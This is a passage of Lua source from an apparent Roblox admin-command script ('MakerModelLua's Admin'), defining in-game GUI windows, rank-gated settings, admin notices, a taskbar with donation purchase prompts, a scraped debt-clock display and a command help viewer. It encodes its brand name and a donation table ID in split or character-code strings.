3967 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
3968 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
3969 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
3970 SG.Parent = Player.PlayerGui
3971
3972 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
3973 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
3974
3975 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
3976 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
3977 Delay(TweenTime, function()
3978 for i = 1,0,-0.1 do
3979 Body.TextTransparency = i
3980 wait()
3981 end
3982 Body.TextTransparency = 0
3983 end)
3984 Delay(TweenTime + Time, function()
3985 for i = 0,1,0.1 do
3986 Body.TextTransparency = i
3987 wait()
3988 end
3989 Body.TextTransparency = 1
3990 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true)
3991 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() wait(1) SG:Destroy() end)
3992 end)
3993
3994end)() end
3995
3996function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
3997 if not Player then return nil end
3998 if not Player:FindFirstChild("PlayerGui") then return nil end
3999 if not PreSearch then PreSearch = "" end
4000 if AutoNumber == nil then AutoNumber = true end
4001
4002 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4003 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4004 SearchBar.Parent = Frame.Parent
4005 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4006 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4007
4008 local SearchVer = 0,nil
4009 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4010
4011 local function ShowResults(Key)
4012 SearchVer = SearchVer + 1
4013 local ThisSearchVer = SearchVer
4014
4015 if ScrollScript then ScrollScript.Disabled = true ScrollScript:Destroy() end
4016 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4017
4018 local NumPos,Num = 0,1
4019
4020 for _,Data in pairs(List) do
4021 if ThisSearchVer ~= SearchVer then
4022 break
4023 end
4024 local String = STRING:Defilter(tostring(Data))
4025 if String then
4026 local ImageIcon = nil
4027 if type(Data) == "table" then
4028 String = Data[1]
4029 ImageIcon = Data[2]
4030 end
4031
4032 local TextColor = GUI:ContrastColor()
4033 local StringSplit = STRING:GetSplit(String, 1, " ")
4034 local NewColor = GUI:GetColor(StringSplit[1])
4035 if NewColor then TextColor = NewColor String = StringSplit[2] end
4036
4037 if string.find(string.lower(String), string.lower(Key)) then
4038 Spacer = false
4039 local Font = Settings.Font
4040 local Split = STRING:GetSplit(String, 1, " ")
4041 if string.sub(string.lower(String),1,6) == "bold: " then
4042 Font = "ArialBold"
4043 String = string.sub(String,7)
4044 elseif Fonts[Split[1]] then
4045 Font = Split[1]
4046 String = Split[2]
4047 end
4048 if string.sub(String,1,2) == "--" then
4049 Spacer = true
4050 end
4051 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4052 if ImageIcon then
4053 if tonumber(ImageIcon) then
4054 ImageIcon = "rbxassetid://"..ImageIcon
4055 elseif Icons[ImageIcon] then
4056 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4057 end
4058
4059 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4060 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4061 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4062 Content.Text = ""
4063 NumPos = NumPos + 90
4064 else
4065 NumPos = NumPos + 30
4066 end
4067
4068 if not Clickable then
4069 Content.AutoButtonColor = false
4070 Content.Active = false
4071 Content.BackgroundTransparency = 1
4072 elseif ClientInfo[Player.Name] and ClientInfo[Player.Name].TouchScreen ~= true then
4073 SOUND:BindButton(Content)
4074 CORE:HandleEvent(Content, "MouseButton1Down", function() Clicked:Fire(String) end, true)
4075 end
4076 if Spacer == false then Num = Num + 1 end
4077 end
4078 end
4079 end
4080 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4081 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4082 end
4083
4084 ShowResults(PreSearch)
4085
4086 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4087 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4088 if Prop == "Text" then
4089 local Text = CORE:ReadProperty(RPR, Player, "Text")
4090 ShowResults(Text)
4091 Frame.CanvasPosition = Vector2.new(0,0)
4092 end
4093 end)
4094
4095 return Clicked, Close
4096end
4097
4098function GUI:PropertyGui(Player, Title, Icon, Properties)
4099 if not Player then return nil end
4100 if not Player:FindFirstChild("PlayerGui") then return nil end
4101 if type(Properties) ~= "table" then return nil end
4102 local HasClosed = false
4103 local NewProperties = {}
4104
4105 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4106 Frame.ClipsDescendants = true
4107 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4108
4109 for PropertyName,Data in pairs(Properties) do
4110 NewProperties[PropertyName] = Data[1]
4111 end
4112
4113 local YCount = 0
4114
4115 for PropertyName,Data in pairs(Properties) do
4116 if type(Data) == "table" then
4117 local DefaultValue = Data[1]
4118 local Writable = Data[2]
4119 local ValueType = Data[3]
4120
4121 if Writable == nil then Writable = false end
4122 if type(ValueType) == "string" then -- now this is confusing
4123 ValueType = string.lower(ValueType)
4124 elseif ValueType == nil then
4125 ValueType = type(DefaultValue)
4126 end
4127
4128 if ValueType == "nil" or ValueType == "userdata" then
4129 ValueType = nil
4130 elseif ValueType == "table" then
4131 DefaultValue = STRING:UnpackArgs(DefaultValue)
4132 ValueType = "string"
4133 end
4134
4135 if ValueType then
4136 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4137 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4138 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4139
4140 if ValueType == "string" or ValueType == "number" then
4141 if Writable == true then
4142 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4143 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4144 if ValueType == "number" then
4145 NewProperties[PropertyName] = tonumber(Input.Text)
4146 else
4147 NewProperties[PropertyName] = tostring(Input.Text)
4148 end
4149 end end)
4150 else
4151 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4152 end
4153 end
4154 if ValueType == "boolean" then
4155 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4156 if DefaultValue == true then
4157 Check.Image = "rbxassetid://48138491"
4158 end
4159 if Writable == true then
4160 CORE:HandleEvent(Check, "MouseButton1Down", function()
4161 local NewVal = not NewProperties[PropertyName]
4162 NewProperties[PropertyName] = NewVal
4163 if NewVal == true then
4164 Check.Image = "rbxassetid://48138491"
4165 else
4166 Check.Image = "rbxassetid://48138474"
4167 end
4168 end)
4169 else
4170 Check.ImageTransparency = 0.5
4171 end
4172 end
4173 YCount = YCount + 50
4174 end
4175 end
4176 end
4177
4178 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4179
4180 Closed.Event:connect(function() HasClosed = true end)
4181
4182 repeat wait(0.1) until HasClosed
4183 return NewProperties
4184end
4185
4186function GUI:SettingsGui(Player)
4187 if not Player then return nil end
4188 local CloneViewSettings,CanChange = {},false
4189
4190 local ViewSettings = {
4191 ["Version"] = {CORE.Version.Value, false, nil};
4192 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4193 ["Font"] = {Settings.Font, 3, "Font"};
4194 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4195 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4196 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4197 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4198 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4199 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4200 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4201 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4202 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4203 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4204 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4205 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4206 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4207 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4208 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4209 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4210 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4211 ["Bet"] = {Settings.Bet, 3, "Bet"};
4212 }
4213
4214 local _,RankNum = RANK:GetRank(Player)
4215 if RankNum >= 3 then
4216 CanChange = true
4217 end
4218
4219 for Prop,Data in pairs(ViewSettings) do
4220 local Writable = false
4221 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4222 CloneViewSettings[Prop] = {Data[1], Writable}
4223 end
4224
4225 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4226 if CanChange then
4227 for Prop,Data in pairs(ViewSettings) do
4228 if Data[3] then
4229 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4230 end
4231 end
4232 CORE:FixSettings()
4233 end
4234end
4235
4236function GUI:MessageAdmins(TitleText, BodyText, Icon)
4237 for _,Player in pairs(Server.Players:GetPlayers()) do
4238 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4239 if PlayerAdmin then
4240 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4241 end
4242 end
4243end
4244
4245function GUI:TellAdmin(Player)
4246 if not Player then return end
4247
4248 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4249 if ValidAdmin == true then
4250 GUI:SendMessage(Player, "congrats", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4251 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4252 local SoundID = 237866523
4253 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4254 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4255 Sound:Play()
4256 coroutine.wrap(function()
4257 wait(4)
4258 Sound:Stop()
4259 Sound:Destroy()
4260 end)()
4261 end
4262 end
4263end
4264
4265function GUI:TellNotAdmin(Player)
4266 if not Player then return end
4267
4268 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4269end
4270
4271function GUI:CreateTaskBar(Player)
4272 if not Player then return nil end
4273 if Settings.EnableTaskBar == false then return nil end
4274 Player:WaitForChild("PlayerGui")
4275 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4276 if SG then SG:Destroy() end
4277 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4278 local IsMoving = false
4279 local TaskBarShown = false
4280 local Tasks = {}
4281
4282 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4283 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4284
4285 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4286 local Open,CloseForm = false,nil
4287 if Settings.EnableAdminMenu then
4288 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://1132205032"
4289 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4290 if Open == false then
4291 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 1132205032, true, nil, nil, false, true, true)
4292 Open,CloseForm = true,Close
4293
4294 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4295 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4296 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4297 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4298 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4299 local function DonateMoney(Type, Element)
4300 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4301 local Get = Request[Type]
4302 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4303 Server.MPS:PromptPurchase(Player, Get[1], true)
4304 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4305 Server.MPS:PromptPurchase(Player, Get[2], true)
4306 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4307 Server.MPS:PromptPurchase(Player, Get[3], true)
4308 else
4309 Element.Text = "Cannot get request"
4310 end
4311 end
4312 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4313 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4314 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4315 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4316 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4317 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4318
4319 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4320
4321 if Closed then
4322 Closed.Event:connect(function()
4323 Open = false
4324 end)
4325 end
4326 else
4327 CloseForm:Invoke()
4328 end
4329 end) end)()
4330 if RANK:GetRank(Player) == "Owner" then
4331 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4332 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4333 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4334 if HUDSG then
4335 HUDSG:Destroy()
4336 else
4337 GUI:CreateHUD(Player)
4338 end
4339 end)
4340 end
4341 end
4342
4343 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4344 if IsMoving == false then
4345 if TaskBarShown == true then
4346 TaskBarShown = false
4347 IsMoving = true
4348 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4349 else
4350 TaskBarShown = true
4351 IsMoving = true
4352 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4353 end
4354 end
4355 end)
4356
4357 local function ReloadIcons()
4358 for Num,Data in pairs(Tasks) do
4359 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4360 end
4361 end
4362
4363 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4364 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4365 table.insert(Tasks, {Form, Icon})
4366 local CanClick = true
4367 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4368 if Form.IsActive.Value == false then
4369 Restore:Invoke()
4370 elseif CanClick == true then
4371 coroutine.wrap(function()
4372 CanClick = false
4373 local DefPos = Form.Dragger.Position
4374 for i = 1,15 do
4375 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4376 wait(0.05)
4377 end
4378 Form.Dragger.Position = DefPos
4379 CanClick = true
4380 end)()
4381 end
4382 end)
4383 ReloadIcons()
4384
4385 Closed.Event:connect(function()
4386 for Num,Data in pairs(Tasks) do
4387 if Data[1] == Form then
4388 Icon:Destroy()
4389 table.remove(Tasks, Num)
4390 end
4391 end
4392 ReloadIcons()
4393 end)
4394 end)
4395end
4396
4397function GUI:ShowDebtStats(Player, ManualText)
4398 local Text = ManualText
4399 if not ManualText then
4400 Text = "CANNOT GET STATISTICS"
4401 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4402 if RawPage then
4403 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4404 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4405 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4406 end
4407 end
4408
4409 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4410 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4411
4412 return Text
4413end
4414
4415function GUI:ShowCommand(Player, CommandTrigger)
4416 if not Player then return nil end
4417 if not CommandTrigger then return nil end
4418
4419 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4420
4421 local CommandKey = CommandTrigger
4422
4423 if not Commands[CommandKey] then
4424 for CommandNames,_ in pairs(Commands) do
4425 for _,CommandName in pairs(CommandNames) do
4426 if CommandName == CommandKey then
4427 CommandKey = CommandNames
4428 end
4429 end
4430 end
4431 end
4432
4433 local CommandData = Commands[CommandKey]
4434
4435 local BodyText = "No valid command has been entered"
4436 local TitleText = "Error"
4437 local CanExe = false
4438 if CommandData then
4439 local PlayerRank = RANK:GetRank(Player)
4440 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4441 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4442
4443 TitleText = "Command: "..CommandKey[1]
4444 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4445
4446
4447Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4448
4449
4450Description: ]]..CommandData[2]..[[
4451
4452
4453Arguments: ]]..CommandData[3]..[[
4454
4455
4456Minimum rank needed: ]]..CommandData[4]..[[
4457
4458
4459Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4460
4461
4462Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4463
4464
4465Http Command ]]..STRING:BoolString(CommandData.Http)
4466 end
4467
4468 GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4469end
4470
4471function GUI:CreateHUD(Speaker)
4472 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4473
4474 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4475 if SG then SG:Destroy() end
4476 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4477
4478 local function AddHUD(Player, Char)
4479 if not Char or not Char:FindFirstChild("Head") then return nil end
4480
4481 local Rank = RANK:GetRank(Player)
4482 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4483 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4484 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4485 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
